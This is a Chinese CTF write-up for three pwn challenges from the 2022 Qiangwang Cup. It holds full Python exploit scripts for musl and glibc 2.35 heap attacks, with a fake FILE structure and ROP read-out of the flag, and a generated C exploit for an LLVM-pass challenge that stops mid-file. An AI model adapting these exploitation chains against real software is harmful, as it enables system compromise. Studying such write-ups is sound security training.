2022强网杯pwn部分wp

Pwn

challenge UserManager

菜单题musl

二叉树

add里面有uaf。

连续两次id一样。

用的calloc,得想办法leak。

堆风水先把avail chunk给消耗完。再free user。 再分配的时候就可以完成用user占位name。然后用name来leak libc和elf base

再用name反过来占位user,写secret的地址就可以leak出secret。

dequeue打类似unlink攻击,打io file,fsop。堆风水,注意到parent指针会有出现解引用的问题,重新调整一下就可以。

# encoding=utf-8
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

# functions for quick script
s       = lambda data               :p.send(data)        
sa      = lambda delim,data         :p.sendafter(delim, data) 
sl      = lambda data               :p.sendline(data) 
sla     = lambda delim,data         :p.sendlineafter(delim, data) 
r       = lambda numb=4096,timeout=2:p.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop) # by default, drop is set to false
irt     = lambda                    :p.interactive()
# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\x00'))
uu64    = lambda data   :u64(data.ljust(8, b'\x00')) # to get 8 byte addr 
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# gdb debug
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a == '':
            raw_input()

# basic config
local = 0

elf_path    = "UserManager"
libc=ELF('./libc.so')

elf     = ELF(elf_path)
# libc    = elf.libc

def start():
    global p
    if local:
        p = process(elf_path)
    else:
        p = remote('123.56.45.155',23014)

def add(id,size,content):
    sla(': ','1')
    sla('Id: ',str(id))
    sla('UserName length: ', str(size))
    sla('UserName: ',content)

def show(id):
    sla(': ','2')
    sla('Id: ',str(id))

def dele(id):
    sla(': ','3')
    sla('Id: ',str(id))

def clear():
    sla(': ','4')


class META_struct:
    BIT_FIELD_BLEN = {
        'last_idx'  : 5,
        'freeable'  : 1,
        'sizeclass' : 6,
        'maplen'    : 52,
    }

    FIELD_NAME = (
        'prev',
        'next',
        'mem',
        'avail_mask',
        'freed_mask',
        'last_idx',
        'freeable',
        'sizeclass',
        'maplen'
    )

    def __init__(self):
        self.__data = {}
        for k in self.FIELD_NAME:
            self.__data[k] = 0

    def __setattr__(self, attr, vaule):
        if attr in self.FIELD_NAME:
            self.__data[attr] = vaule
        else:
            super().__setattr__(attr, vaule)

    def __getattr__(self, attr):
        if attr in self.FIELD_NAME:
            return self.__data[attr]
        else:
            return super().__getattr__(attr)

    def __bytes__(self):
        payload = b''

        for k in ('prev', 'next', 'mem'):
            payload += p64(self.__data[k])
        for k in ('avail_mask', 'freed_mask'):
            payload += p32(self.__data[k])
        bv = 0
        bpos = 0
        for k in ('last_idx', 'freeable', 'sizeclass', 'maplen'):
            blen = self.BIT_FIELD_BLEN[k]
            bv |= (self.__data[k] & ((1 << blen) - 1)) << bpos
            bpos += blen
        payload += p64(bv)

        return payload


def exp():    
    for i in range(7-2):
        add(i, 0x98, str(i)*8)
    clear()

    add(4,0x38,'aaaaaaa') 
    
    add(4,0x98,'bbbbbbb') 

    add(3,0x98, 'oooooooo') # 用user占位4的name

    show(4)
    r(8)
    libc_base = uu64(r(6))-0xb7a60
    leak('libc',libc_base)
    r(2+8*2)
    elf_base = uu64(r(6))- 0x5d80
    leak('elf_base',elf_base)
    z('watch * 0x555555559da0')
    pause()
    dele(3)
    
    secret_offset = 0xb4ac0
    add(3,0x38, p64(4)+p64(libc_base+ secret_offset) +p64(0x38)+p64(0x2)+p64(0xdeadbeef)) # 用name反过来占位3的user
    # pause()
    show(4)

    secret = uu64(r(8))
    leak('secret',secret)

    system = libc_base + libc.sym['system']


    # fake start
    # page_addr = libc_base - 0x7000 # noaslr
    page_addr = libc_base - 0x3000 # aslr
    fake_file_addr = libc_base+(0xb7f50) # addr of fake file struct
    ofl_head_addr  = libc_base+(0xb6e48)


    #  写一个伪造的指针到name,用于任意地址free
    dele(3)
    add(3,0x98, 'oooooooo') # 用user占位4的name,重新做一遍,防止后续parent时出现问题。
    dele(3)
    add(3,0x38, p64(4)+p64(page_addr+0x40) +p64(0x38)+p64(0x2)+p64(0xdeadbeef))
    


    # 伪造各种结构体到mmap内存上
    fm = META_struct()
    fm.prev = ofl_head_addr-8
    fm.next = fake_file_addr
    fm.mem  = page_addr+0x30
    fm.freeable = 1
    fm.maplen   = 1

    fake_slot = flat({
        0    : secret,
        0x8  : bytes(fm),
        0x30 : page_addr+0x8,
        0x38 : 0,
    }, filler=b'\x00')

    payload = 0xfe0*b'\x00' + fake_slot
    add(9, 0x1300, payload) 


    # trigger dequeue
    dele(4)


    # fake _IO_FILE
    fake_file = flat({
        0    : b"/bin/sh\x00",
        0x28 : 0xdeadbeef,
        0x38 : 0xcafebabe,
        0x48 : system
    }, filler=b'\x00')
    add( 20, 0x78, fake_file) # 看一下mheapinfo,然后打一个可分配的
    pause()
    sl('6')


start()
exp()
irt()

challenge houseofcat

开局是一个类似于httpd的代码快,正确后才能进入堆菜单,这里就不多说了

最开始需要对is_run[0]进行初始化为1:

run(b'LOGIN | r00t QWBQWXFaadmin\x00 ')

然后之后每次调用菜单的pyload:

def run(payload):
    r.recvuntil(b'mew mew mew~~~~~~')
    r.sendline(payload)

def menu(choice):
    run(b'CAT | r00t QWBQWXFa\xff\xff\xff\xff$')
    r.recvuntil(b"plz input your cat choice:\n")
    r.sendline(str(choice))

漏洞出在delete有UAF,有两次edit机会,能构造两次largebin attack(不用修复largebin链表,用0x400大小域和0x440大小域即可)。glibc2.35的话,由于这道题stderr指针在libc上(应该是编译时加上了参数,否则正常stderr指针不会在libc段上)。因此两次largebin attack分别打guard(glibc2.35指针异或)和stderr指针,伪造stderr指针结构体即可,最后触发stderr,调用setcontext进行orw。

这道题本来是很正常的house of emma,但是我卡在如何触发stderr。

因为两次edit之后,构造了两次largebin attack后,没有剩余的edit次数了。

以往的house of emma都是通过UAF,先free掉一个靠近top chunk的unsortedbin p1,然后申请一个小于原来p1的堆块,这样top chunk就留在原来那个UAF的p1里,可以通过UAF更改top chunk size,使其落入top chunk size 不够分割的情况,这时候就会检查:

此处会对top_chunk的size|flags进行assert判断

  1. old_size >= 0x20;

  2. old_top.prev_inuse = 0;

  3. old_top页对齐

然后可触发malloc_assert,其中的fxprintf函数会调用stderr。

不过这道题我们没有多余的edit机会了。

我思考之后,想到一种可能,若largebin attack和修改top chunk size 可以同时进行的话。并且查阅glibc源码后发现,处理largebin attack部分源码在对top chunk size进行判断之前。

参考CSDN上一篇关于house of apple博客里的堆风水启迪了我:

可以先malloc 0x480,0x480,(这两都紧挨着top chunk)然后都free 掉,再add 0x460,0x500之类的,构造出一个UAF指针,指向我们下图中的chunk3位置。通过chunk1的edit功能可以改掉bk_nextsize和chunk3的size,那就伪造一下chunk3的size(用add函数输入内容伪造,不用edit),改成chunk3距离top chunk 的距离,然后free掉UAF的chunk3指针,这样就能使top chunk合并到chunk3附近。

然后就能用edit函数同时改bk_nextsize和top chunk size。

然后直接干!

8e9f0a01ffeca6d662c36a444f077522

最后沙盒禁用了execve,只能orw,但是甚至read只能read fd为0的,因此需要先close(0),然后再orw,新打开的flag文件文件描述符为0。

exp:

from sys import stderr
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/qwb/houseofcat/house_of_cat')
r = remote('47.94.166.51',37799)
libc = ELF('/mnt/hgfs/ubuntu/qwb/houseofcat/libc.so.6')


def run(payload):
    r.recvuntil(b'mew mew mew~~~~~~')
    r.sendline(payload)

def menu(choice):
    run(b'CAT | r00t QWBQWXFa\xff\xff\xff\xff$')
    r.recvuntil(b"plz input your cat choice:\n")
    r.sendline(str(choice))

def add(idx,size,content):
    menu(1)
    r.recvuntil(b"plz input your cat idx:\n")
    r.sendline(str(idx))
    r.recvuntil(b"plz input your cat size:\n")
    r.sendline(str(size))
    r.recvuntil(b"plz input your content:\n")
    r.send(content)

def delete(idx):
    menu(2)
    r.recvuntil(b"plz input your cat idx:\n")
    r.sendline(str(idx))

def show(idx):
    menu(3)
    r.recvuntil(b"plz input your cat idx:\n")
    r.sendline(str(idx))

def edit(idx,content):
    menu(4)
    r.recvuntil(b"plz input your cat idx:\n")
    r.sendline(str(idx))
    r.recvuntil(b"plz input your content:\n")
    r.send(content)

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64,'0')
    return int(tmp[key:] + tmp[:key], 2)

#make it 1
run(b'LOGIN | r00t QWBQWXFaadmin\x00 ')
add(0,0x428,b'a')
add(1,0x448,b'a')

add(2,0x418,b'a')
add(7,0x458,b'a')
delete(0)

add(6,0x460,b'a')

show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x21a0d0
r.recv(10)
heap_base = u64(r.recv(6).ljust(8,b'\0'))-0x290

gadget_addr = libc_base+0x1675b0
next_chain = 0
srop_addr = heap_base+0x1c50
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0)  # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)  # _IO_buf_base
fake_IO_FILE += p64(0)  # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x215b80+0x40)  # vtable
fake_IO_FILE += p64(srop_addr)  # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x1800), 0x11))

setcontext_addr = libc_base+libc.sym["setcontext"]
pop_rdi = libc_base+0x000000000002a3e5
pop_rsi = libc_base+0x000000000002be51
pop_rdx_r12 = libc_base+0x000000000011f497
pop_rax = libc_base+0x0000000000045eb0
syscall = libc_base+0x0000000000091396

fake_frame_addr = srop_addr


rop_data = [
    pop_rdi,
    heap_base+0x1c40+0x28,
    pop_rax,  # sys_open('flag', 0)
    2,
    syscall,

    pop_rax,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi,
    3,
    pop_rsi,
    fake_frame_addr + 0x200,
    pop_rdx_r12,
    0x100,
    0,
    syscall,

    pop_rax,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi,
    1,
    pop_rsi,
    fake_frame_addr + 0x200,
    pop_rdx_r12,
    0x100,
    0,
    syscall
]
orw = p64(pop_rdi)+p64(0)+p64(pop_rax)+p64(3)+p64(syscall)+p64(pop_rdi)+p64(heap_base+0x1c78)+p64(pop_rax)+p64(2)+p64(syscall)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
payload = p64(0)+p64(srop_addr)+p64(0)*2+p64(setcontext_addr + 61)+b'./flag\x00\x00'
payload = payload.ljust(0xa0,b'\0')
payload+= p64(heap_base+0x1c50+0x100)+p64(pop_rdi+1)
payload = payload.ljust(0x100,b'\0')
payload+= orw

add(3,0x438,b'a')
add(4,0x448,payload)
add(5,0x468,b'a')
add(8,0x438,b's')
delete(5)
delete(8)#UAF pointer
add(9,0x438,b'a')
stderr_addr = libc_base+libc.sym["stderr"]
delete(2)
add(10,0x418,fake_IO_FILE)
delete(10)
edit(0,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(11,0x468,b'a'*0x20+p64(0)+p64(0xd31))

add(12,0x460,b'a')
delete(11)
add(13,0x469,b'a')
delete(3)

guard = libc_base-0x2890
delete(8)
edit(11,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x24d0)+p64(guard-0x20)+p64(0)+p64(0x206))



# # delete(11)
# # delete(11)

# # delete(8)
# add(14,0x469,b'a')
# delete(12)
# delete(13)
# delete(12)

# delete()

# delete(10)



# add(8,0x460,b'a')
# delete(3)
# edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x390)+p64(guard-0x20))
# add(9,0x460,b'a')

# gdb.attach(r)
# delete(12)

menu(1)
r.recvuntil(b"plz input your cat idx:\n")
r.sendline(b'14')
r.recvuntil(b"plz input your cat size:\n")
r.sendline(str(0x46f))




log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))


r.interactive()

challenge yakagame

用ida打开yaka.so,找到类似于主函数的函数,在一堆去符号函数中间,代码最长的那个(这里我重命名为maybethis了):

9413a77d-4c63-41e1-b677-e6e7f556c2c7

同时发现了后门函数:

a6660091-c555-449e-a98d-e009ebf475b6

上Ayaka看雪上温习了一下llvm,之前国赛也出过。

程序上刚开始malloc了一个cmd的堆块,里面存放了一个初始的字符串。

分析一下各地方功能:

  • 程序必须包含在gamestart名函数中才能进入主循环,意为,最外层函数名需为gamestart()

  • gamestart函数中有几个小的函数体:

①"fight"函数:参数个数为1,将传入的参数作为idx,将该weapon[idx]与boss比较,判断是否赢,赢了的话操作score = weapon[idx]-boss。输了的话没有影响。无论输赢都会判断是否进入后门函数。进入后门函数的要求为score>0x12345678。

②"merge"函数:参数个数为2,将传入的参数作为idx1,idx2,执行weapon[idx1]+=weapon[idx2]

③"destroy"函数,参数个数为1,将传入的参数作为idx,令weapon[idx]=0

④"upgrade"函数,参数个数为1,将传入的参数作为count(char 大小,有符号位扩展),对每一个weapon[k]执行weapon[k]+=count

⑤四个对cmd进行整体字符串操作的函数。同时会减boss的值。

⑥else:当函数名不等于以上所有时,会将该该函数名加进map中,同时往weaponlist指定偏移写一个char类型参数。这里map和c++map对应的位置一样,参考glibc中的srand和本地起的srand同步。可以通过这种同步来进行预测,因此本地写一个c++ map来模拟。

#include <iostream>
#include <string>
#include <map>

using namespace std;
const char* arr[] = {
    "lotu",
"lotu1",
"lotu2",
"lotu3",
"lotu4",
"lotu5",
"lotu6",
"lotu7",
"lotu8",
"lotu9",
"lotu10",
"lotu11",
"lotu12",
"lotu13",
"lotu14",
"lotu15",
"lotu16",
"lotu17",
"lotu18",
"lotu19",
"lotu20",
"lotu21",
"lotu22",
"lotu23",
"lotu24",
"lotu25",
"lotu26",
"lotu27",
"lotu28",
"lotu29",
"lotu30",
"lotu31",
"lotu32",
"lotu33",
"lotu34",
"lotu35",
"lotu36",
"lotu37",
"lotu38",
"lotu39",
"lotu40",
"lotu41",
"lotu42",
"lotu43",
"lotu44",
"lotu45",
"lotu46",
"lotu47",
"lotu48",
"lotu49",
"lotu50",
"lotu51",
"lotu52",
"lotu53",
"lotu54",
"lotu55",
"lotu56",
"lotu57",
"lotu58",
"lotu59",
"lotu60",
"lotu61",
"lotu62",
"lotu63",
"lotu64",
"lotu65",
"lotu66",
"lotu67",
"lotu68",
"lotu69",
"lotu70",
"lotu71",
"lotu72",
"lotu73",
"lotu74",
"lotu75",
"lotu76",
"lotu77",
"lotu78",
"lotu79",
"lotu80",
"lotu81",
"lotu82",
"lotu83",
"lotu84",
"lotu85",
"lotu86",
"lotu87",
"lotu88",
"lotu89",
"lotu90",
"lotu91",
"lotu92",
"lotu93",
"lotu94",
"lotu95",
"lotu96",
"lotu97",
"lotu98",
"lotu99",
"lotu100",
"lotu101",
"lotu102",
"lotu103",
"lotu104",
"lotu105",
"lotu106",
"lotu107",
"lotu108",
"lotu109",
"lotu110",
"lotu111",
"lotu112",
"lotu113",
"lotu114",
"lotu115",
"lotu116",
"lotu117",
"lotu118",
"lotu119",
"lotu120",
"lotu121",
"lotu122",
"lotu123",
"lotu124",
"lotu125",
"lotu126",
"lotu127",
"lotu128",
"lotu129",
"lotu130",
"lotu131",
"lotu132",
"lotu133",
"lotu134",
"lotu135",
"lotu136",
"lotu137",
"lotu138",
"lotu139",
"lotu140",
"lotu141",
"lotu142",
"lotu143",
"lotu144",
"lotu145",
"lotu146",
"lotu147",
"lotu148",
"lotu149",
"lotu150",
"lotu151",
"lotu152",
"lotu153",
"lotu154",
"lotu155",
"lotu156",
"lotu157",
"lotu158",
"lotu159",
"lotu160",
"lotu161",
"lotu162",
"lotu163",
"lotu164",
"lotu165",
"lotu166",
"lotu167",
"lotu168",
"lotu169",
"lotu170",
"lotu171",
"lotu172",
"lotu173",
"lotu174",
"lotu175",
"lotu176",
"lotu177",
"lotu178",
"lotu179",
"lotu180",
"lotu181",
"lotu182",
"lotu183",
"lotu184",
"lotu185",
"lotu186",
"lotu187",
"lotu188",
"lotu189",
"lotu190",
"lotu191",
"lotu192",
"lotu193",
"lotu194",
"lotu195",
"lotu196",
"lotu197",
"lotu198",
"lotu199",
"lotu200",
"lotu201",
"lotu202",
"lotu203",
"lotu204",
"lotu205",
"lotu206",
"lotu207",
"lotu208",
"lotu209",
"lotu210",
"lotu211",
"lotu212",
"lotu213",
"lotu214",
"lotu215",
"lotu216",
"lotu217",
"lotu218",
"lotu219",
"lotu220",
"lotu221",
"lotu222",
"lotu223",
"lotu224",
"lotu225",
"lotu226",
"lotu227",
"lotu228",
"lotu229",
"lotu230",
"lotu231",
"lotu232",
"lotu233",
"lotu234",
"lotu235",
"lotu236",
"lotu237",
"lotu238",
"lotu239",
"lotu240",
"lotu241",
"lotu242",
"lotu243",
"lotu244",
"lotu245",
"lotu246",
"lotu247",
"lotu248",
"lotu249",
"lotu250",
"lotu251",
"lotu252",
"lotu253",
"lotu254",
"lotu255"
};
int main() {
    map<string, unsigned char> m;
    for (int i = 0; i < 256; i++) {
        m[arr[i]] = 0;
    }
    int index = 0;
    for (auto i = m.begin(); i != m.end(); i++) {
        cout << "index : " << showbase << hex << index++ << " " << i->first << endl;
    }
}

这样就能知道程序里map对应的位置了。

我原本以为漏洞出在这里:

4353b8b9-3b67-4fad-8129-d0f8086a76a9

其中boss是unsigned int,v53为int,并且<=是signed 比较,那么理论上就可以通过不断调用"tiandongwanxiang"函数来将boss整数溢出,这要v53和boss有符号比较的时候,v53肯定大于boss,而boss是一个负数,*score就能刷上来。

然后通过那四种函数组合,按理来说是能够爆破出来/bin/sh\x00的(将字符串替换成/bin/sh\x00)。

于是丢给战队逆向手,写了个脚本没跑出来。。。

start = 0x6668936D277B6892
end   = 0x0068732f6e69622f

start = [0x66, 0x68, 0x93, 0x6D, 0x27, 0x7B, 0x68, 0x92]
end   = [0x00, 0x68, 0x73, 0x2f, 0x6e, 0x69, 0x62, 0x2f]

st = [start]
op = ["0"]
flag = True
while len(st) and flag:
    p = st.pop(0)
    i = op.pop(0)
 
    st.append([i^0x14 for i in p])
    op.append(i+"1")
    st.append([i^0x7F for i in p])
    op.append(i+"2")
    st.append([(i-9)&0xFF for i in p])
    op.append(i+"3")
    st.append([(i+2)&0xFF for i in p])
    op.append(i+"4")
    
    for i in range(len(st)):
        if st[i] == end:
            print(op[i])
            print(st[i])
            flag = False

实际执行的时候,取boss值放到ecx里面,然后比较时是用rcx做的比较,相当于无符号扩展。此时,boss值不可能为负数,那这种方法就不可行了。

dede928d-10b6-45f2-a0bb-61700d1ca669

又看了看其他地方有没有符号位扩展的洞,记忆里upgrate有,但是没什么用,符号位扩展是针对写进的字符的,不是针对于idx。

最后发现,v33是char,并且这里是对于v33是带符号扩展,通过不断++v3可以让v33带符号扩展后成为负数。

567cc1eb-51e4-4ccb-ba95-931e7b828cc0

同时weapon数组上方有score和cmd的指针。

那就通过自己写的c++ map,来得知程序中map的位置,然后负索引部分覆写score指针,让她指向一个大的值。本来我还想着在堆附近找一个大一点的值,不过后面一想,随便找了个值错位一下就变得很大了。

改掉score指针后,因为逆向手没有跑出来,所以我这还是得改cmd指针。本来想着挺简单的,就add weapon的时候,c艹会申请堆块,那把函数名改为sh即可。但是调试发现这两堆块地址差太多了,部分覆写没用。爆破了一会也没爆破出来。

不过注意到程序提供的opt-8没有开pie,嘿嘿,那就用她的字符串。

题外话是我最开始运行的时候报错了,后来一看是题目提供的clang和我版本不一致,下了个clang-8。

clang-8 -emit-llvm -S yakagame.c -o yakagame.ll

Exp:

#include<stdio.h>

void fight(long int a){};
void merge(int a,int b){}//a=a+b
void destroy(int a){};//a=0
void upgrade(int a){};//every+=a
void wuxiangdeyidao(){};
void zhanjinniuza(){};
void guobapenhuo(){};
void tiandongwanxiang(){};
void lotu(int a){};
void lotu1(int a){};
void lotu2(int a){};
void lotu3(int a){};
void lotu4(int a){};
void lotu5(int a){};
void lotu6(int a){};
void lotu7(int a){};
void lotu8(int a){};
void lotu9(int a){};
void lotu10(int a){};
void lotu11(int a){};
void lotu12(int a){};
void lotu13(int a){};
void lotu14(int a){};
void lotu15(int a){};
void lotu16(int a){};
void lotu17(int a){};
void lotu18(int a){};
void lotu19(int a){};
void lotu20(int a){};
void lotu21(int a){};
void lotu22(int a){};
void lotu23(int a){};
void lotu24(int a){};
void lotu25(int a){};
void lotu26(int a){};
void lotu27(int a){};
void lotu28(int a){};
void lotu29(int a){};
void lotu30(int a){};
void lotu31(int a){};
void lotu32(int a){};
void lotu33(int a){};
void lotu34(int a){};
void lotu35(int a){};
void lotu36(int a){};
void lotu37(int a){};
void lotu38(int a){};
void lotu39(int a){};
void lotu40(int a){};
void lotu41(int a){};
void lotu42(int a){};
void lotu43(int a){};
void lotu44(int a){};
void lotu45(int a){};
void lotu46(int a){};
void lotu47(int a){};
void lotu48(int a){};
void lotu49(int a){};
void lotu50(int a){};
void lotu51(int a){};
void lotu52(int a){};
void lotu53(int a){};
void lotu54(int a){};
void lotu55(int a){};
void lotu56(int a){};
void lotu57(int a){};
void lotu58(int a){};
void lotu59(int a){};
void lotu60(int a){};
void lotu61(int a){};
void lotu62(int a){};
void lotu63(int a){};
void lotu64(int a){};
void lotu65(int a){};
void lotu66(int a){};
void lotu67(int a){};
void lotu68(int a){};
void lotu69(int a){};
void lotu70(int a){};
void lotu71(int a){};
void lotu72(int a){};
void lotu73(int a){};
void lotu74(int a){};
void lotu75(int a){};
void lotu76(int a){};
void lotu77(int a){};
void lotu78(int a){};
void lotu79(int a){};
void lotu80(int a){};
void lotu81(int a){};
void lotu82(int a){};
void lotu83(int a){};
void lotu84(int a){};
void lotu85(int a){};
void lotu86(int a){};
void lotu87(int a){};
void lotu88(int a){};
void lotu89(int a){};
void lotu90(int a){};
void lotu91(int a){};
void lotu92(int a){};
void lotu93(int a){};
void lotu94(int a){};
void lotu95(int a){};
void lotu96(int a){};
void lotu97(int a){};
void lotu98(int a){};
void lotu99(int a){};
void lotu100(int a){};
void lotu101(int a){};
void lotu102(int a){};
void lotu103(int a){};
void lotu104(int a){};
void lotu105(int a){};
void lotu106(int a){};
void lotu107(int a){};
void lotu108(int a){};
void lotu109(int a){};
void lotu110(int a){};
void lotu111(int a){};
void lotu112(int a){};
void lotu113(int a){};
void lotu114(int a){};
void lotu115(int a){};
void lotu116(int a){};
void lotu117(int a){};
void lotu118(int a){};
void lotu119(int a){};
void lotu120(int a){};
void lotu121(int a){};
void lotu122(int a){};
void lotu123(int a){};
void lotu124(int a){};
void lotu125(int a){};
void lotu126(int a){};
void lotu127(int a){};
void lotu128(int a){};
void lotu129(int a){};
void lotu130(int a){};
void lotu131(int a){};
void lotu132(int a){};
void lotu133(int a){};
void lotu134(int a){};
void lotu135(int a){};
void lotu136(int a){};
void lotu137(int a){};
void lotu138(int a){};
void lotu139(int a){};
void lotu140(int a){};
void lotu141(int a){};
void lotu142(int a){};
void lotu143(int a){};
void lotu144(int a){};
void lotu145(int a){};
void lotu146(int a){};
void lotu147(int a){};
void lotu148(int a){};
void lotu149(int a){};
void lotu150(int a){};
void lotu151(int a){};
void lotu152(int a){};
void lotu153(int a){};
void lotu154(int a){};
void lotu155(int a){};
void lotu156(int a){};
void lotu157(int a){};
void lotu158(int a){};
void lotu159(int a){};
void lotu160(int a){};
void lotu161(int a){};
void lotu162(int a){};
void lotu163(int a){};
void lotu164(int a){};
void lotu165(int a){};
void lotu166(int a){};
void lotu167(int a){};
void lotu168(int a){};
void lotu169(int a){};
void lotu170(int a){};
void lotu171(int a){};
void lotu172(int a){};
void lotu173(int a){};
void lotu174(int a){};
void lotu175(int a){};
void lotu176(int a){};
void lotu177(int a){};
void lotu178(int a){};
void lotu179(int a){};
void lotu180(int a){};
void lotu181(int a){};
void lotu182(int a){};
void lotu183(int a){};
void lotu184(int a){};
void lotu185(int a){};
void lotu186(int a){};
void lotu187(int a){};
void lotu188(int a){};
void lotu189(int a){};
void lotu190(int a){};
void lotu191(int a){};
void lotu192(int a){};
void lotu193(int a){};
void lotu194(int a){};
void lotu195(int a){};
void lotu196(int a){};
void lotu197(int a){};
void lotu198(int a){};
void lotu199(int a){};
void lotu200(int a){};
void lotu201(int a){};
void lotu202(int a){};
void lotu203(int a){};
void lotu204(int a){};
void lotu205(int a){};
void lotu206(int a){};
void lotu207(int a){};
void lotu208(int a){};
void lotu209(int a){};
void lotu210(int a){};
void lotu211(int a){};
void lotu212(int a){};
void lotu213(int a){};
void lotu214(int a){};
void lotu215(int a){};
void lotu216(int a){};
void lotu217(int a){};
void lotu218(int a){};
void lotu219(int a){};
void lotu220(int a){};
void lotu221(int a){};
void lotu222(int a){};
void lotu223(int a){};
void lotu224(int a){};
void lotu225(int a){};
void lotu226(int a){};
void lotu227(int a){};
void lotu228(int a){};
void lotu229(int a){};
void lotu230(int a){};
void lotu231(int a){};
void lotu232(int a){};
void lotu233(int a){};
void lotu234(int a){};
void lotu235(int a){};
void lotu236(int a){};
void lotu237(int a){};
void lotu238(int a){};
void lotu239(int a){};
void lotu240(int a){};
void lotu241(int a){};
void lotu242(int a){};
void lotu243(int a){};
void lotu244(int a){};
void lotu245(int a){};
void lotu246(int a){};
void lotu247(int a){};
void lotu248(int a){};
void lotu249(int a){};
void lotu250(int a){};
void lotu251(int a){};
void lotu252(int a){};
void lotu253(int a){};
void lotu254(int a){};
void lotu255(int a){};

void gamestart()
{
    lotu(0);
    lotu1(1);
    lotu2(2);
    lotu3(3);
    lotu4(4);
    lotu5(5);
    lotu6(6);
    lotu7(7);
    lotu8(0x6e);
    lotu9(9);
    lotu10(10);
    lotu11(11);
    lotu12(12);
    lotu13(13);
    lotu14(14);
    lotu15(15);
    lotu16(16);
    lotu17(17);
    lotu18(18);
    lotu19(19);
    lotu20(20);
    lotu21(21);
    lotu22(22);
    lotu23(23);
    lotu24(24);
    lotu25(25);
    lotu26(26);
    lotu27(27);
    lotu28(28);
    lotu29(29);
    lotu30(30);
    lotu31(31);
    lotu32(32);
    lotu33(33);
    lotu34(34);
    lotu35(35);
    lotu36(36);
    lotu37(37);
    lotu38(38);
    lotu39(39);
    lotu40(40);
    lotu41(41);
    lotu42(42);
    lotu43(43);
    lotu44(44);
    lotu45(45);
    lotu46(46);
    lotu47(47);
    lotu48(48);
    lotu49(49);
    lotu50(50);
    lotu51(51);
    lotu52(52);
    lotu53(53);
    lotu54(54);
    lotu55(55);
    lotu56(56);
    lotu57(57);
    lotu58(58);
    lotu59(59);
    lotu60(60);
    lotu61(61);
    lotu62(62);
    lotu63(63);
    lotu64(64);
    lotu65(65);
    lotu66(66);
    lotu67(67);
    lotu68(68);
    lotu69(69);
    lotu70(70);
    lotu71(71);
    lotu72(72);
    lotu73(73);
    lotu74(74);
    lotu75(75);
    lotu76(76);
    lotu77(77);
    lotu78(0xad);
    lotu79(0xfd);
    lotu80(0);
    lotu81(0);
    lotu82(0);
    lotu83(0);
    lotu84(0);
    lotu85(0xcd);
    lotu86(86);
    lotu87(87);
    lotu88(88);
    lotu89(89);
    lotu90(90);
    lotu91(91);
    lotu92(92);
    lotu93(93);
    lotu94(94);
    lotu95(95);
    lotu96(96);
    lotu97(97);
    lotu98(98);
    lotu99(99);
    lotu100(100);
    lotu101(101);
    lotu102(102);
    lotu103(103);
    lotu104(104);
    lotu105(105);
    lotu106(106);
    lotu107(107);
    lotu108(108);
    lotu109(109);
    lotu110(110);
    lotu111(111);
    lotu112(112);
    lotu113(113);
    lotu114(114);
    lotu115(115);
    lotu116(116);
    lotu117(117);
    lotu118(118);
    lotu119(119);
    lotu120(120);
    lotu121(121);
    lotu122(122);
    lotu123(123);
    lotu124(124);
    lotu125(125);
    lotu126(126);
    lotu127(127);
    lotu128(128);
    lotu129(129);
    lotu130(130);
    lotu131(131);
    lotu132(132);
    lotu133(133);
    lotu134(134);
    lotu135(135);
    lotu136(136);
    lotu137(137);
    lotu138(138);
    lotu139(139);
    lotu140(140);
    lotu141(141);
    lotu142(142);
    lotu143(143);
    lotu144(144);
    lotu145(145);
    lotu146(146);
    lotu147(147);
    lotu148(148);
    lotu149(149);
    lotu150(150);
    lotu151(151);
    lotu152(152);
    lotu153(153);
    lotu154(154);
    lotu155(155);
    lotu156(156);
    lotu157(157);
    lotu158(158);
    lotu159(159);
    lotu160(160);
    lotu161(161);
    lotu162(162);
    lotu163(163);
    lotu163(163);
    lotu164(164);
    lotu165(165);
    lotu166(166);
    lotu167(167);
    lotu168(168);
    lotu169(169);
    lotu170(170);
    lotu171(171);
    lotu172(172);
    lotu173(173);
    lotu174(174);
    lotu175(175);
    lotu176(176);
    lotu177(177);
    lotu178(178);
    lotu179(179);
    lotu180(180);
    lotu181(181);
    lotu182(182);
    lotu183(183);
    lotu184(184);
    lotu185(185);
    lotu186(186);
    lotu187(187);
    lotu188(188);
    lotu189(189);
    lotu190(190);
    lotu191(191);
    lotu192(192);
    lotu193(193);
    lotu194(194);
    lotu195(195);
    lotu196(196);
    lotu197(197);
    lotu198(198);
    lotu199(199);
    lotu200(200);
    lotu201(201);
